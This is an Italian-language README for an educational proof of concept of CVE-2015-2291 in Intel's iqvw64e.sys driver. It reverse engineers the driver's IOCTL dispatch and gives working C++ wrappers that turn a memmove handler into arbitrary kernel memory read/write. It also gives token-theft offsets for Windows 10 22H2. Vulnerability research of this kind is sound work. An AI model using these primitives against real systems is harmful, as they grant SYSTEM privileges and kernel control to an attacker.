
CVE-2015-2291 Escalatazione dei privilegi locale PoC
CVE-2015-2291 PoC di Escalation dei Privilegi Locali

Questo progetto è un proof-of-concept didattico per una vulnerabilità di Escalation dei Privilegi Locali (LPE) nel driver iqvw64e.sys (SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9) — il driver diagnostico Ethernet Intel associato a CVE-2015-2291.
Dopo aver visto il driver sfruttato in loader in modalità kernel come KDMapper, ho voluto eseguirne il reverse engineering per comprendere come funziona il dispatch IOCTL, quali tipi di funzioni espone al usermode e come un attaccante potrebbe scoprirle o utilizzarle. Questo documento illustra il processo dall'analisi statica alla creazione di primitive di memoria usando DeviceIoControl, e infine alla realizzazione di un exploit che abusa di tali primitive per sostituire il token di accesso del processo corrente con il token del processo SYSTEM, elevando di fatto il processo ai privilegi SYSTEM.
Su Windows, ogni processo è associato a un token di accesso che ne definisce identità e privilegi. Ottenendo lettura/scrittura arbitraria nel kernel, diventa possibile modificare il puntatore al token memorizzato nella struttura del processo nel kernel. Sostituendo questo puntatore con quello del processo SYSTEM, il sistema operativo associa il processo corrente al contesto di sicurezza di SYSTEM, concedendogli di fatto pieni privilegi. Ulteriori informazioni qui.
Il driver registra una routine di dispatch per IRP_MJ_DEVICE_CONTROL, che gestisce le chiamate DeviceIoControl dal usermode. Come mostrato sotto, conduce a sub_11150 che dirige il flusso del codice in base al codice IO Control in input. In questo caso, siamo interessati a 0x80862007, che ci porta a loc_111C2.

Seguendo il flusso di controllo attraverso loc_111C2, arriviamo a sub_113C0. Riceve un buffer di input (a1) e utilizza il primo QWORD di quel buffer come indice in una jump table di funzioni handler interne. Qui, il driver esegue quanto segue:
Legge a1 → primo QWORD (0x0) → jump_table_index
Effettua uno switch basato su questo indice
Invia alla funzione interna corrispondente
Utilizza i campi rimanenti in a1 come argomenti
Ora sappiamo che il buffer di input controlla sia il target del dispatch che i suoi parametri. Definiremo ulteriormente la struttura del buffer di input proseguendo l'analisi.
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00 — usato come selettore del dispatch
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;


memmoveDurante l'analisi dei casi della jump table, ho cercato handler che somigliassero a memmove o memcpy. Al caso 0x33, il driver chiama sub_11EA0, passando tre campi dal buffer di input. Questo assomiglia fortemente a una copia di memoria:

Aprendo sub_11EA0, troviamo la prevista firma:
void* memmove( void* dest, const void* src, std::size_t count );
Il disassembly conferma che:
Argomento a1 = destination
Argomento a2 = source
Argomento a3 = length

Con queste informazioni, possiamo ora ricostruire completamente la struttura del buffer di input prevista per la chiamata memmove:
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00
uint64_t padding; // 0x08 (8)
uint64_t source; // 0x10 (16)
uint64_t destination; // 0x18 (24)
uint64_t length; // 0x20 (32)
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;
Ora comprendiamo che inviando un MEMMOVE_INPUT_BUFFER valido al driver, con:
jump_table_index = 0x33
source, destination e length impostati come necessario
Possiamo istruire il driver a chiamare memmove su indirizzi arbitrari, ottenendo così capacità complete di lettura/scrittura della memoria del kernel dal usermode.
Ecco i wrapper in usermode costruiti attorno a questa primitiva:
bool MemMove(uint64_t destination, uint64_t source, uint64_t size) {
if (!destination || !source || !size)
return 0;
MEMMOVE_INPUT_BUFFER input_buffer = { 0 };
input_buffer.jump_table_index = 0x33; //indice jump table per memmove (51)
input_buffer.source = source;
input_buffer.destination = destination;
input_buffer.length = size;
DWORD bytes_returned = 0;
return DeviceIoControl(hDriver, IOCTL_MEMMOVE, &input_buffer, sizeof(input_buffer), nullptr, 0, &bytes_returned, nullptr);
}
uintptr_t read64(uintptr_t address)
{
uintptr_t value = 0;
if (MemMove(reinterpret_cast<uint64_t>(&value), address, sizeof(uintptr_t)))
return value;
return 0;
}
bool write64(uintptr_t address, uintptr_t value)
{
return MemMove(address, reinterpret_cast<uint64_t>(&value), sizeof(uintptr_t));
}
Questi helper consentono letture e scritture arbitrarie a 64 bit nella memoria virtuale del kernel. Da questo punto, diventano possibili vari attacchi (come il furto del token EPROCESS), ma questo documento si concentra su ricostruzione e analisi. Troverai che main.cpp contiene un PoC di furto del token EPROCESS, per gentile concessione di Eap2468 da CVE-2021-2155
Versione Windows: 10 x64 22H2 (19045.6466)
Offset EPROCESS:
UniqueProcessId: 0x440ActiveProcessLinks: 0x448Token: 0x4b8Driver: iqvw64e.sys (Il binario del driver è incluso nel repository per tua comodità)
SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9
